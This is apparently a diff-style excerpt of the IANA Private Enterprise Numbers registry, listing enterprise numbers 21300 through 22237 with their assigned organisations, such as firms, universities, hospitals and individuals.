+21300 Watt 22 Távközléstechnikai Szolgáltató Kft.
+21301 Dialmex, L.L.C.
+21302 Wright State University
+21303 Periscope Ltd.
+21304 BC Genome Sciences Centre
+21305 Katholischen Hochschulgemeinde Linz
+21306 Cyberfamily.dk
+21307 Tel.Pacific
+21308 NeoMon
+21309 Juni Australia Pty Ltd
+21310 Center for High Energy Physics
+21311 GammaStream Technologies, Inc.
+21312 LISAsoft Pty. Ltd.
+21313 VRx, Inc.
+21314 Sizwe
+21315 The State Key Laboratory Of Information Security of China
+21316 Octtel Communication Co., Ltd.
+21317 ATEN INTERNATIONAL CO., LTD.
+21318 Intec NetCore, Inc,
+21319 Symbio Group
+21320 SourceMachine Develop Ltd.
+21321 CITIC Telecom 1616 Limited
+21322 Estonian Academy of Arts
+21323 Consolidated Contractors International Company S.A.L
+21324 Databus Inc.
+21325 Siedlung Cuxhaven AG
+21326 Heim & Haus GmbH & Co KG
+21327 Westsaechsische Hochschule Zwickau
+21328 Metos Oy
+21329 secXtreme GmbH
+21330 JSC "TransTeleCom Company"
+21331 RESEAUNANCE
+21332 Luciad NV
+21333 Chongqing Putian Communication Equipment Ltd, Co.
+21334 ACCIO GLOBAL
+21335 OSRAM OS GmbH
+21336 CAEN SpA
+21337 PowerSource
+21338 NetFX
+21339 Fiat Auto S.p.A.
+21340 Verax Systems
+21341 Corner Banca SA
+21342 EpiSoftware Ltd.
+21343 n3k Informatik GmbH
+21344 Claranet GmbH
+21345 Sachs
+21346 Forler IT Training & Consulting
+21347 ITCnetworks
+21348 Song Networks Svenska AB
+21349 TTG Europe PLC
+21350 SHS Informationssysteme AG
+21351 Gyrus Prod SRL
+21352 Zhang Ye
+21353 Hospital Santa Mônica
+21354 Bezirksamt Lichtenberg von Berlin
+21355 Ascential Software
+21356 Austrian Grid
+21357 antislash
+21358 China ZLTelecom Telecommunication Equipment Co., LTD
+21359 OPNET Technologies, Inc
+21360 Chatsworth Products, Inc
+21361 Catholic Healthcare West
+21362 IFOTEC
+21363 Valhalla Media
+21364 Revinetix, Inc
+21365 Accelerate Consultancy Limited
+21366 Open Source Lab
+21367 Connectathon.Net
+21368 The Cloud Networks Ltd.
+21369 Terrasat Communications, Inc.
+21370 Thales Navigation
+21371 Whited.US
+21372 JavaPlus
+21373 netfilter/iptables project
+21374 Fabbricadigitale srl
+21375 Interactive Vision Mind Beacon sp. z o.o.
+21376 Gruppenkasper
+21377 Zhongyuan Institute of Technology
+21378 American Honda Motor Co., Inc.
+21379 Shenzhen aike Co.,Ltd.
+21380 Guangzhou aike Co.,Ltd.
+21381 Viessmann Werke GmbH & Co KG
+21382 united bolta nigeria limited
+21383 bo-tech GmbH & Co. KG
+21384 serie a - digitale medien und systeme GmbH
+21385 Escalon Networks, Inc.
+21386 Quiettouch Inc.
+21387 The John Simon Guggenheim Memorial Foundation
+21388 Risetek Inc.
+21389 King Fahd University of Petroleum and Minerals
+21390 ALAIN BRION SARL
+21391 Netalley Networks LLP
+21392 Tech Arabia
+21393 CareerWeaver.net
+21394 aplis.cz, a.s.
+21395 Project Logicaldreams
+21396 Brand X Software, Inc.
+21397 FiberZone Networks LTD.
+21398 Cybergate Technologies Corp
+21399 Active Circle SA
+21400 e-geek
+21401 DSNCON GmbH
+21402 Epic Energy
+21403 A-First Technology CO.,LTD.
+21404 DG Telecom Co. Ltd.
+21405 COMSATS Internet Services
+21406 azh GmbH
+21407 Maier
+21408 Ernitec A/S
+21409 ARTAX, a. s.
+21410 Kennisnet
+21411 gocept gmbh & co. kg
+21412 Andreas Wachter
+21413 ScriptLogic Corporation
+21414 Batra Consulting, Inc.
+21415 Option nv
+21416 Centre Hospitalier de la Côte Basque
+21417 tdb Software Service GmbH
+21418 Unient Communications, a.s.
+21419 TEDIAL S.L.
+21420 HanseMerkur Krankenversicherung a.G.
+21421 Yassine Zairi LTD.
+21422 CVW
+21423 ConnecTerra, Inc.
+21424 Kanagawa Prefectural Board of Education
+21425 Institute for Automation and Control Processes (IACP) FEBRAS
+21426 Hoekstra Consulting Group
+21427 Weisenberger Solarstromerzeugung und Vertrieb
+21428 Aepona Ltd
+21429 SUNTECH Telecom Solution LTDA
+21430 inPUT Softwareentwicklungs GmbH
+21431 SAE International
+21432 DigiNet Corporation
+21433 Interface Software, Inc.
+21434 Karolis Dautartas Personal Enterprise
+21435 Inner Class Software Engineering Limited
+21436 basis06 AG
+21437 ATEN Canada Technologies Inc.
+21438 Thrunet
+21439 Beijing Mission Communication Co., Ltd.
+21440 XIUS India Ltd.
+21441 KBK e-vallalkozasa
+21442 GAPIC (PVT) LTD
+21443 Caemar Software
+21444 OSS Technologies (Pty) Ltd
+21445 eSilicon Corporation
+21446 ZIPPtec Systemhaus GmbH
+21447 Clinton Group, Inc.
+21448 KarstadtQuelle AG
+21449 Riversoft Integracao e Desenvolvimento de Software Ltda
+21450 Radiantek
+21451 Topera Technology Ltd.
+21452 AUNA OPERADORES DE TELECOMUNICACIONES, S.A.
+21453 GatherWorks, Inc.
+21454 data voice technologies GmbH
+21455 Sinosoft Co.,LTD
+21456 LV1871
+21457 Demandware, Inc.
+21458 Clovis Solutions, Inc.
+21459 CaLviX
+21460 Global Infotek, Inc.
+21461 Cole National
+21462 Toro Co
+21463 UZ Gent
+21464 Adelior SA
+21465 Vipond Inc.
+21466 DOMISYS SA
+21467 Uber Technologies cc
+21468 Vijit Consulting
+21469 Blade Fusion
+21470 schematech
+21471 SimpleRezo
+21472 xmled.org
+21473 View500
+21474 Ardec International Pty. Ltd.
+21475 Farsands Corporation Limited
+21476 Academia Sinica Grid Computing Centre
+21477 TaiwanGrid
+21478 AdCoCom GmbH
+21479 Icepage AB
+21480 Shenzhen Olym-tech Co., Ltd.
+21481 TKM Telekommunikation und Elektronik GmbH
+21482 SAIPM
+21483 Quest Retail Technology Pty Ltd
+21484 SIGMETA GmbH
+21485 UNIS Ukraine
+21486 Secces information technologies ltd.
+21487 Japan Cable Laboratories
+21488 NC Numericable
+21489 die Antwort
+21490 Booth & Associates, Inc.
+21491 Entelligencia
+21492 jMesh Limited
+21493 SKODA AUTO a.s.
+21494 3CPLUS GmbH
+21495 SIG IT GmbH
+21496 nSolutions, Inc.
+21497 Tuxeo sprl
+21498 Daemonspace Inc.
+21499 LDCONFIG
+21500 SIC LAB S.r.l.
+21501 Asdag
+21502 Sysload Software
+21503 Witt Weiden GmbH
+21504 SipStorm, Inc.
+21505 Caton Technology(Beijing) Corporation
+21506 Infinity Software Development
+21507 Strategies & Solutions LLC
+21508 LAAS-CNRS
+21509 CanWest Global Communications Corp.
+21510 heicare GmbH
+21511 Institut Laue-Langevin
+21512 Instituto Superior Técnico
+21513 Vormetric, Inc.
+21514 Computer Services and Solutions, Inc.
+21515 Hyperion VOF
+21516 Secure Data in Motion, Inc.
+21517 Ehwa Technologies Information
+21518 Queensdale Investment Corp.
+21519 Detlef Woltmann IT Consult GmbH
+21520 Crossworks Co.,Ltd.
+21521 Engage Networks, Inc
+21522 Knights of Columbus
+21523 SIA European Softwarehouse
+21524 Wintegra
+21525 sydios-it-solutions GmbH
+21526 Equip'Trans
+21527 SLIT
+21528 MICROSEC Ltd.
+21529 2wcom GmbH
+21530 Champ Cargosystems S.A.
+21531 Adventec
+21532 Universidad Técnica Federico Santa María
+21533 Administration fiscale
+21534 eWayDirect, Inc.
+21535 QVS Software Inc.
+21536 MeuPC Informática e Comunicações LTDA
+21537 KUNet
+21538 fqdn.org
+21539 Klahn Integration, LLC
+21540 Clulicon
+21541 DNF CONTROLS
+21542 NET-TEK.info
+21543 Bartels System GmbH
+21544 Ktech Telecom
+21545 Universidad Nacional de Salta
+21546 Virtual Conexions Inc
+21547 Logic Product Development
+21548 Qoris, Inc.
+21549 Vine Systems Limited
+21550 Millennium Pharmaceutical, Inc.
+21551 IdleAire Technologies Corp.
+21552 XI INTERNET SERVICES
+21553 Kineticode, INc.
+21554 Intertech Software Ltd
+21555 VonWangelin
+21556 Botho.Net
+21557 Fabio Perini North America, Inc.
+21558 East Sea Group
+21559 Parallelspace Corporation
+21560 Atlanta Help Desk
+21561 abk-technology GmbH
+21562 Boing.com
+21563 Center of the System Administration LLC
+21564 MMForces.de
+21565 R. E. Smith
+21566 WMS Industries Inc.
+21567 Network Computing Services, Inc.
+21568 nGENn GmbH
+21569 COMPSIS
+21570 Crimson Microsystems
+21571 Cornerstone University
+21572 Incompatible Time Sharing Systems
+21573 gb EDV Beratung
+21574 Active Systems Ltd.
+21575 IRIS Télécom & Réseaux
+21576 Vestfold Butikkdata AS
+21577 Allgemeine Anthroposophische Gesellschaft
+21578 Radium Instituto de Oncologia
+21579 HarlemLIVE
+21580 XDS
+21581 Bird Technologies
+21582 twam systems
+21583 Oy Stinghorn Ltd
+21584 BTT Software
+21585 Apollo Medical Imaging Technology
+21586 ELITECH DATACOM CO.,LTD.
+21587 Cemtek Computer Solutions Ltd.
+21588 Media Connect GmbH
+21589 Infosila
+21590 Zeni Corporation SA
+21591 Systime GmbH
+21592 Activis Polska Sp. z o.o.
+21593 Agnes Cebulla
+21594 Dougs Computers
+21595 Kerberos Research
+21596 Low Fat Technology, LLC
+21597 Paper Coaters Limited
+21598 Net Design Studio S.L.
+21599 TRAK Microwave Corporation
+21600 NETIKUS.NET ltd
+21601 Cementhorizon
+21602 Turbocomm Tech. Inc.
+21603 e-Lock Corporation Sdn. Bhd.
+21604 Fiserv
+21605 Sollentuna Energi AB
+21606 Asclep Communications Private Ltd
+21607 SPAR Oesterreichische Warenhandels-AG
+21608 John G Russell (Transport) Ltd.,
+21609 Syscomp GmbH
+21610 Quality Objects S.L.
+21611 MDHM COMMUNICATION
+21612 ise - Individuelle Software-Entwicklung GmbH
+21613 TOYOTA Motor Marketing Europe
+21614 Multix Finland Oy
+21615 Bolton Sixth Form College
+21616 Fraunhofer IIS
+21617 TiFiC AB
+21618 Navecor, SA
+21619 Massey Wilcox Transport Ltd.
+21620 Morrow Technologies Corporation
+21621 Perez Torres y Cia.
+21622 Centerpoint Technologies Inc
+21623 Serono International SA
+21624 EcoNet.Com, Inc.
+21625 Shikoku Instrumentation CO.,LTD
+21626 NetMon Information Systems Ltd.
+21627 Embrapa Monitoramento por Satélite
+21628 Niagara LaSalle Corporation
+21629 IKTEK
+21630 University of Fukui
+21631 Axero AG
+21632 Kayak Software Corporation
+21633 eCorridor, Inc.
+21634 Educational Community Credit Union
+21635 ZhongChuangXingCe Beijing,China
+21636 Tech-Nous Ltd
+21637 PacWan
+21638 PROD-EL PRODOTTI ELETTRONICI S.P.A.
+21639 CONSIGNACIONES TORO Y BETOLAZA,S.A.
+21640 O2 (UK) Ltd
+21641 mm Control AG
+21642 Le Tual Consulting
+21643 Allianz Cia. de Seguros y Reaseguros SA
+21644 Hyperworx
+21645 PDV-Systeme
+21646 Meuleman Technologies bvba
+21647 Credence Systems Corporation
+21648 Mowa - Mobile Wireless Applications Ltda.
+21649 Access Prime
+21650 The Integer Group
+21651 FastSecure Technologies
+21652 programmercafe
+21653 Wirtualna Polska S.A.
+21654 netnea AG
+21655 Deadpixi.com
+21656 Iskraemeco d.d.
+21657 Abrantix AG
+21658 Kashya
+21659 IsarNet AG
+21660 ADAM SOFTWARE Ingenieurbuero
+21661 Verilet Corporation
+21662 IIJ Technology Inc.
+21663 Pazmany Peter Catholic University
+21664 SAPEC (Sociedad Anonima de Productos Electronicos y de Comunicacion)
+21665 VSB - Technical University of Ostrava
+21666 ToutProgrammer.com
+21667 Claymore Systems, Inc.
+21668 one11.net
+21669 Multiband Inc
+21670 MM Invent
+21671 Netscout Systems, Inc. (formerly 'VSS monitoring Inc.')
+21672 Psyche Trading Company
+21673 Bei Jing Polypegasus Technology Co., Ltd.
+21674 Beijing TeleSystem Technologies Co., Ltd
+21675 Compunicate Technologies, Inc.
+21676 SparkLAN Communications, Inc.
+21677 Shanghai Huama Information Tech.Developmenet Co.,Ltd
+21678 SCREEN SERVICE ITALIA S.p.A.
+21679 Bundesagentur für Arbeit
+21680 MeadWestvaco Intelligent Systems
+21681 WholeSecurity, Inc.
+21682 ricilake.net
+21683 Wyrdwright, Inc.
+21684 wayneandersen.com
+21685 eFunds Corp.
+21686 Kyung Gee Electronics Co., Ltd.
+21687 KIP America, Inc.
+21688 Serge Co.
+21689 easynet
+21690 David Bremner
+21691 gnuTechnologies
+21692 Coradir S.A.
+21693 LINET Services GbR
+21694 BeiJing Sina Information Technology Co.,Ltd
+21695 net-track GmbH
+21696 KEYMILE AG
+21697 Rivertree Networks Corp.
+21698 Field Boxmore Mareen
+21699 Belgocontrol
+21700 Keller & Partner GmbH
+21701 MOBOTIX AG
+21702 EAPLV
+21703 Microhard Systems Inc.
+21704 DPS-Promatic srl
+21705 ARG Electrodesign Ltd
+21706 Dominion Resources, Inc.
+21707 DECATHLON
+21708 Netsweeper Inc.
+21709 Procios Oy
+21710 agentes AG
+21711 MediSoft Egypt
+21712 Caisse de Prévoyance Sociale
+21713 Vectorsite
+21714 Cape Byron Imports & Wholesale Pty. Ltd.
+21715 UFRJ
+21716 hangzhou goldway information technology CO.,Ltd
+21717 NIPPON KOEI POWER SYSTEMS Co.,Ltd.
+21718 ReestrRN
+21719 EmmeciSoft S.n.c.
+21720 Microgaming Software Systems Limited
+21721 SERVICIO DE CERTIFICACION DE LOS REGISTRADORES
+21722 Marine Corps Community Services
+21723 NTA CO.LTD.
+21724 elementec Software & Consulting
+21725 Olaf Huebner
+21726 HappyComm
+21727 People's Bank of Georgia
+21728 Synaccess Networks, Inc.
+21729 Somogy Informatika Kft.
+21730 stSoft
+21731 CryptoSoft, Ltd
+21732 Sparkasse Hanauerland
+21733 Altar Sp. z o.o.
+21734 APO Consortium
+21735 Alber Inc.
+21736 IntelliTrans Ltd
+21737 Gestweb S.p.A.
+21738 Hong Kong Education City Ltd
+21739 Trusted Solutions s.r.o.
+21740 Persystent Technology, Inc
+21741 St. Margaret's Anglican Church
+21742 uWink Inc.
+21743 yasp.at
+21744 BlackRock Financial Management
+21745 Arnprior KF
+21746 Cheyenne Networks Inc.
+21747 Aldebaran Systems Ltd
+21748 Iggesund Paperboard AB
+21749 EtherTek Circuits
+21750 Highbridge Capital Management, LLC
+21751 St. Thomas University
+21752 Societe Cooperative Migros Neuchatel-Fribourg
+21753 ZKM - Zentrum f. Kunst und Medientechnologie, Karlsruhe
+21754 Media-Com Sp. z o.o.
+21755 Collaborative Adaptive Sensing of the Atmosphere (CASA)
+21756 SOFTEC sa
+21757 Digicadd Computacao Grafica LTDA
+21758 Slushpupie
+21759 All China Federation Of Industry & Commmerce
+21760 E-Access Broadband
+21761 Lübecker Hafen-Gesellschaft mbH
+21762 Cornwall County Council
+21763 Claranet
+21764 Hill Systems LLC
+21765 The Lyarama Project
+21766 Imperial College London
+21767 Synarc, Inc.
+21768 Inspired Broadcast Networks Ltd
+21769 M-Tech Information Technology, Inc.
+21770 Wesaidso Software Engineering
+21771 Imolko C.A.
+21772 SEB Eesti Ãœhispank AS
+21773 Choice Sourcing Pty
+21774 ECLASS
+21775 Digital Imaging Solutions
+21776 TelcoBridges Inc.
+21777 Nitido Inc.
+21778 VA TECH ELIN EBG GmbH & Co
+21779 jade.net
+21780 ADURO d.o.o.
+21781 Montelnor SCL
+21782 Chinasys Technologies Co.,Ltd.
+21783 ANTGroup s.r.l
+21784 Calrec Audio Ltd
+21785 VÖB-Service GmbH
+21786 Boston.com
+21787 Qualitas, Inc.
+21788 Poindexter Systems, Inc.
+21789 Cablevision - FiberTel
+21790 Obidobi Software
+21791 Wave-Tech, Inc.
+21792 BearingPoint, Inc.
+21793 Kisoku Networking
+21794 Panthera Systems
+21795 Integrated Decision Systems
+21796 HW group s.r.o
+21797 Googgun Technologies Inc.
+21798 Covergence, Inc.
+21799 CONSULTEC
+21800 Island Internet Services
+21801 California State University Los Angeles
+21802 Maternité Régionale A. Pinard
+21803 Centrepoint Technologies
+21804 360degreeweb, Inc
+21805 monkeyjr.com
+21806 Vitrado GmbH
+21807 TRW Engine Components
+21808 Prairie Systems Inc.
+21809 Campusware
+21810 Yubivaza
+21811 Kalion
+21812 Kofax Image Products
+21813 West Japan Railway Company
+21814 Booth Software Consulting
+21815 School of Veterinary Medicine Hannover
+21816 CDE nove tehnologije d.d.
+21817 Gemini Storage Company
+21818 CapTech Ventures, Inc.
+21819 Guernsey Customs
+21820 ChanneLynx LLC
+21821 Colibre
+21822 Andrew Ducore, Independent Consultant
+21823 MDS Caswell
+21824 Fortuitous Technologies Inc
+21825 asystec | Adolf Systemtechnik
+21826 Metropipe Network Services Inc
+21827 ArcanaNetworks Inc.
+21828 Meta Systems AS
+21829 Ian A. Young
+21830 CrossTalk Göteborg AB
+21831 ClearOne Communications Inc.
+21832 LabOne Inc.
+21833 Megas Media
+21834 Tufin Technologies
+21835 SESCAM - Servicio de Salud de Castilla la Mancha
+21836 MRF Systems Ltd.
+21837 DiGIR
+21838 LooseFlow Ltd
+21839 ALAXALA Networks Corporation
+21840 Hitachi IE Systems Co.,Ltd.
+21841 Hochschule fuer Angewandte Wissenschaften Hamburg
+21842 Energy Technologies, Inc.
+21843 SHENZHEN MQ TECHNOLOGIES INDUSTRIAL CO., LTD.
+21844 Durham School Services
+21845 Trium Sistemas Informaticos SL
+21846 Trium Systems SL
+21847 The Scott Lawson Group Ltd.
+21848 SLACALEK
+21849 Riggs Heinrich Media
+21850 Intaero Sdn Bhd
+21851 MurrayLisook.com
+21852 Norkring AS
+21853 Gesellschaft fuer Informations- und Datenverarbeitungs mbH
+21854 CollabNet, Inc.
+21855 Winterdale Computerdienste GbR
+21856 Modulus Systems
+21857 Chaucer Press Limited
+21858 A.P. Woodham Ltd.
+21859 Leightons Paper & Printing Ltd.
+21860 Harrah's Entertainment, Inc.
+21861 Mobile Cohesion
+21862 Alcasat
+21863 INFOTEL
+21864 ibte
+21865 Unitrends Software Corp
+21866 FMAudit, LLC.
+21867 ESI-HEB
+21868 Highmark Inc.
+21869 CUI Inc (formerly 'Tectrol Inc')
+21870 United Cerebral Palsy of Greater Chicago
+21871 Datastream Systems, Inc.
+21872 WICEN (NSW) Inc
+21873 XFI Corporation
+21874 Moore Gallagher ltd.
+21875 macfadden.org
+21876 metabit
+21877 Multi Skilled Resources Australia
+21878 MedStar Health
+21879 Associazione Culturale Inventati
+21880 Australian Experimental High Energy Physics Group
+21881 Milom, Inc.
+21882 Justsystem Corp.
+21883 Brain ltd.
+21884 W. Schneider+Co AG
+21885 Ericsson Mobile Platforms AB
+21886 Newel Informatique
+21887 Scheidt & Bachmann System Technik GmbH
+21888 Content Management License Administrator
+21889 Acsis, Inc.
+21890 GRIB
+21891 Tibco Telecom Reseau
+21892 Ringwald Mikroelektronik GmbH
+21893 phil cornes
+21894 ISABEL S.A.
+21895 Delta-Soft Ltd
+21896 Niederrhein University of Applied Sciences
+21897 i-CABLE Network Limited
+21898 SvamberkNET, s.r.o.
+21899 Cape City Command, LLC
+21900 Danacal Ltd.
+21901 Millward Brown UK Limited
+21902 BAJM Internet
+21903 NetServices LLC
+21904 Yoshida's Inc.
+21905 Leibniz-Institut fuer Meereswissenschaften
+21906 March Hare Software Ltd.
+21907 Wohnprojekt Schellingstrasse GmbH
+21908 NexaSoft Inc.
+21909 Chaos Limited, LLC
+21910 Electrocomponentes S.A.
+21911 Trusted Computing Group
+21912 Priva Technologies, Inc.
+21913 dop intelligence
+21914 Networx.AT - busta & neumayr oeg
+21915 BitPusher, LLC
+21916 Tehna
+21917 Staatliche Berufsschule I Bayreuth
+21918 Tesorion NL
+21919 Clearwire, Inc.
+21920 Cipherium Systems Co., Ltd.
+21921 Inspiration Matters Ltd
+21922 TIE - Tecnologias de Integração Empresarial, Lda.
+21923 Bowater, Inc.
+21924 Adam Pordzik
+21925 RTP Network Services, Inc
+21926 MedOrder, Inc.
+21927 intralinux
+21928 Renaissance Computing Institute
+21929 Netikos Finland Oy
+21930 Prihateam Networks Finland Ltd
+21931 SE46 AB
+21932 Tor.AT - Netzwerke-Server-Sicherheit
+21933 Jamie Thompson
+21934 FIlesX
+21935 Sigtec LTD
+21936 Senforce Technologies, Inc.
+21937 Ezrez Software, Inc.
+21938 Radio Muzyka Fakty, Sp. z o.o.
+21939 Hitachi Energy
+21940 Enatel Ltd
+21941 Data Return, LLC
+21942 Rubicon Software Ltd
+21943 Uni-Sommerfest e.V.
+21944 Blitzen Networks
+21945 Kerberos d.o.o.
+21946 University of Liverpool, Department of Electrical Engineering
+21947 TintaDigital, Soluções em Tecnologias de Informação, Lda.
+21948 TW TeamWare s.r.l.
+21949 Istituto Nazionale di Geofisica e Vulcanologia
+21950 Open Consultants
+21951 Katun Corporation
+21952 Crescent Business, Inc.
+21953 Business Computer Maintenance Limited
+21954 Transatlantic Diagnostics LLC
+21955 CONTROL SYSTEMS Srl
+21956 Megapath Cloud Company LLC
+21957 Sealed Air (NZ) ltd
+21958 Thermakraft IndustriesNZ Ltd.
+21959 P J Papers ltd.
+21960 Legend Communications plc
+21961 Exeo Systems
+21962 Nextel Communications Inc.
+21963 Obeco GmbH
+21964 Nesym Consulting Srl
+21965 LTLab
+21966 Cooperativa Obrera Ltda.
+21967 Invento Networks, Inc.
+21968 Food Services of America
+21969 Kernway Technology Co., Ltd
+21970 AHTS
+21971 Kisters AG
+21972 1mage Software Inc.
+21973 CaribbeanClub
+21974 Boris Kulig EDV und Statistik Beratung
+21975 Infraserv Gmbh & Co Hoechst KG
+21976 Roberts Wesleyan College
+21977 The Sage Group PLC
+21978 Fluid, Inc.
+21979 fks BVBA
+21980 Enran Telecom
+21981 Spiderbox P/L
+21982 With Mobile Technology Co., Ltd.
+21983 Terrace technology, Inc.
+21984 Viswis, Inc.
+21985 Server-Center, JSC
+21986 Shinnyo-en Buddhist Order Co.
+21987 Bugs Inc.
+21988 ARENAL
+21989 Connex.cc DI Hadek GmbH
+21990 Universidad Autónoma de Baja California Sur
+21991 char
+21992 Central Command Inc.
+21993 girrulat.de
+21994 Norfolk Public Schools
+21995 Magyar Elektronikus Aláírás Szövetség / Hungarian Association for Electronic Signature
+21996 crocobox.org
+21997 PowerStar Ltd.
+21998 Tiani-Spirit
+21999 PLUM Computer Consulting, Inc.
+22000 Pacific Laminations Co. limited
+22001 Fachhochschule Esslingen - Hochschule fuer Technik
+22002 Michael Breuer
+22003 mst
+22004 X-MD
+22005 GE Healthcare - IT
+22006 GE DIGITAL - SWS - UCOM
+22007 WinWholesale Inc.
+22008 pld-sparc64
+22009 IP-LABEL
+22010 Tranfa Optic Telecommunications Co., Ltd.
+22011 CORE MICRO SYSTEMS INC.
+22012 silkroadtaiwan,Inc
+22013 SGDN
+22014 China Beijing Broada Digital Technology Co.,Ltd
+22015 BanianTech Co.,Ltd
+22016 RackWatch LLC
+22017 Claritas, Inc.
+22018 RedIce SA
+22019 Tutus Data AB
+22020 CoreTEC GmbH
+22021 WestCall Ltd
+22022 DeusXMachina
+22023 Schaly
+22024 Inoi
+22025 ELTI d.o.o.
+22026 Texas State Technical College System
+22027 Rock Mobile Corporation
+22028 Hauser/Flimp Programming
+22029 ActiveLive Technologies LLC
+22030 Kign Foundation
+22031 Lattice Semiconductor Corporation
+22032 Actelion Pharmaceuticals Ltd.
+22033 Cynical Networks
+22034 joztoz net
+22035 ECT News Network, Inc.
+22036 Tapsell-Ferrier Limited
+22037 Elektrownia Be³chatów S.A.
+22038 Kommune42
+22039 Mathias Wohlfarth EDV-Beratung
+22040 STATCON B SCHAEFER
+22041 Generalstaatsanwaltschaft Berlin
+22042 GITEM
+22043 Land-of-uz.net
+22044 Moviltek, Inc.
+22045 Electrosystems Inc.
+22046 Planecom s.r.l.
+22047 Qascom S.r.l.
+22048 CAJA DE AHORROS EL MONTE
+22049 Metro Group Information Technologies
+22050 Ing. Punzenberger COPA-DATA GmbH
+22051 SavageS Net
+22052 Rising Technology Co., Ltd.
+22053 Neptune Gaming
+22054 Three Rings Design, Inc.
+22055 HighSpeed America, Inc.
+22056 Prefeitura da Cidade do Rio de Janeiro
+22057 New Signature
+22058 Danaher Power Solutions
+22059 Corp. Hostarica
+22060 Labcom Sistemas Ltda
+22061 Liquid Systems
+22062 G2 Switchworks
+22063 CIFE - Consorcio de Intermediación de Facturas Electrónicas
+22064 Landeskreditbank Baden-Württemberg (L-Bank)
+22065 Mobiltel AD
+22066 Mobitex Technology AB
+22067 ENSEA
+22068 Tai Liang Chemical Corporation
+22069 Deuromedia Technologies
+22070 LMR Robosistic Ltd. Co.
+22071 Associazione culturale Investici
+22072 EDS
+22073 Cerantus Technologies
+22074 Vibrant Media Ltd
+22075 Global Technical Engineering Solutions Inc.
+22076 Televisio de Catalunya, s.a.
+22077 Smiling Screens Inc.
+22078 Burlington Coat Factory Warehouse
+22079 Matterform Media
+22080 YACAST
+22081 Guyton Networks
+22082 IBM WPC Lab
+22083 okkernoot.net
+22084 Industec Industria Metalurgica Ltda.
+22085 CIDE Consorcio para la Interoperabilidad de Documentos Electrónicos
+22086 Paul Poeltner
+22087 Invelica GmbH
+22088 Alpine-Energie Holding AG
+22089 Paedagogische Hochschule Zentralschweiz
+22090 GCommerce Inc.
+22091 MATRICS COMMUNICATIONS
+22092 Mazda Motor Europe GmbH
+22093 Software Systems
+22094 Pulse Entertainment
+22095 Baltic Online Computer GmbH
+22096 Image Project Inc.
+22097 B&W Fahrzeugentwicklung GmbH
+22098 CHEN
+22099 EKF Elektronik &- Messtechnik GmbH
+22100 Swisscom Fixnet AG
+22101 Udo Meng GmbH
+22102 KIM Systemhaus GmbH
+22103 Paynet Ltd
+22104 YesTurnkey Technology, Inc.
+22105 Central Visayas Information Sharing Network Foundation Inc.
+22106 Vodafone SDEC
+22107 The Florida Lottery
+22108 Application Science and Technology
+22109 Berliner Hochschule für Technik (BHT)
+22110 Airedale International Air Conditioning Ltd
+22111 Chilibyte Oy
+22112 Vigil Security, LLC
+22113 Gigabeam
+22114 Battle.net Underground
+22115 Netflexity, Ltd
+22116 Queryus
+22117 Epiq Electronic Assembly Ltd.
+22118 Advance America
+22119 GBST Holdings
+22120 datastacks.com
+22121 Krasnoyarsk State Pedagogical University
+22122 ESOLUTIONPROVIDERS
+22123 Unimas Systems, Corp.
+22124 Networks & More! Inc.
+22125 Sierra Video Systems Inc.
+22126 AVONET, s.r.o.
+22127 Delvos
+22128 RBC Capital Markets, Sydney
+22129 AfterHours Upgrades
+22130 Vivatas, Inc
+22131 ÖWD time access GmbH (formerly 'Technical Management System GmbH')
+22132 Mediasyscom SAS
+22133 UWIC
+22134 Eminds AB
+22135 Sentiva Innovation AB
+22136 outsmart Ltd.
+22137 Ivosh, s.r.o.
+22138 ATS-KONVERS Ltd.
+22139 Kurchatov Institute Grid Deployment
+22140 Volker Scheuber
+22141 ProCom GmbH
+22142 Interferenza s.r.l.
+22143 Steatite Ltd
+22144 InfoNotary Ltd.
+22145 ViDiSys GmbH
+22146 Dpt. of Philosophy, Utrecht University
+22147 Allpoint Security Ltd.
+22148 Venda Ltd
+22149 Systemhaus Bad Waldsee
+22150 Wettern Network Solutions
+22151 Neotronic s.r.l.
+22152 CipherSec SPRL
+22153 Viveon AG
+22154 Jotron Electronics a.s.
+22155 Pontificia Universita Santa Croce
+22156 Dynamit Nobel Kunststoff GmbH
+22157 SLU
+22158 Resolv SARL
+22159 EPIN Technologies (China), Ltd.
+22160 RW Comercio e Servicos Ltda.
+22161 John Wiggins
+22162 Beyond Disability, Inc.
+22163 Ricoh Printing Systems, Ltd.
+22164 Cambridge Silicon Radio Limited
+22165 Web Service Solutions, Inc.
+22166 Ocean Broadband Networks
+22167 nologic.org
+22168 Crown College
+22169 NetEngine, Inc.
+22170 FXCM
+22171 CeSigma - Signals & Systems
+22172 HaCon Ingenieurgesellschaft mbH
+22173 Flex Engineering
+22174 Virtual Trip Ltd.
+22175 Mitron Oy
+22176 asknet AG
+22177 DFN-Verein
+22178 Kurs LLC
+22179 Otsuka Corporation
+22180 INSCAPE DATA CORPORATION
+22181 Avision Inc.
+22182 Cascadia BHC
+22183 Cylant, Inc.
+22184 21st Century Software Inc.
+22185 eScholar LLC
+22186 Marketing Resource Consultants, Inc.
+22187 Symphoniq
+22188 Correctime ltd
+22189 Star Technologies, LLC
+22190 NetEffect, Inc.
+22191 Bismarck Public Schools
+22192 Pictou Regional Development Commission
+22193 Computer Information Systems Ltd., Brest
+22194 Orion Systems Inc
+22195 NeoTIP SA
+22196 Vistek Electronics Ltd
+22197 SOFTBANK BB Corp.
+22198 University of St.Gallen
+22199 United Arab Emirates University
+22200 Sistemas Techniclite. C.A.
+22201 Research Center of NetWork Techology Nanjing University Of Posts And Telecommunication Inc.
+22202 Security Tostem co.,Ltd.
+22203 Informática El Corte Inglés, S.A.
+22204 Bundesversicherungsanstalt für Angestellte
+22205 3G Data Soluciones C.A.
+22206 M-real Corporation
+22207 SureWest
+22208 AGES International GmbH & Co KG
+22209 LJXN inc.
+22210 FLsystem
+22211 Legacy Property Investments LLC (formerly 'JMAnderson Enterprises')
+22212 Cognio, Inc.
+22213 Posda
+22214 Explorer Post 227
+22215 Pogo Linux, Inc.
+22216 sighq networking
+22217 Yitran Communications
+22218 NAVARRO Y BORONAD, S.L.
+22219 BoreNet AB
+22220 LACNIC
+22221 Wescom GmbH
+22222 ProaXial
+22223 IntelliCal LLC
+22224 Queensland Treasury
+22225 Huazhong University of Science and Technology
+22226 Acamaya SA
+22227 David Mains & Co. Inc.
+22228 The University of Manchester Computer Society
+22229 Heiks computerdiensten
+22230 MyPoints, Inc.
+22231 VEL Technologies, LLC
+22232 Kyle Hamilton
+22233 German Overseas Institute
+22234 DocuSign France
+22235 Beijing WellTelecom Co.,Ltd.
+22236 Ultrawaves Design, Inc.
+22237 Inventronik GmbH
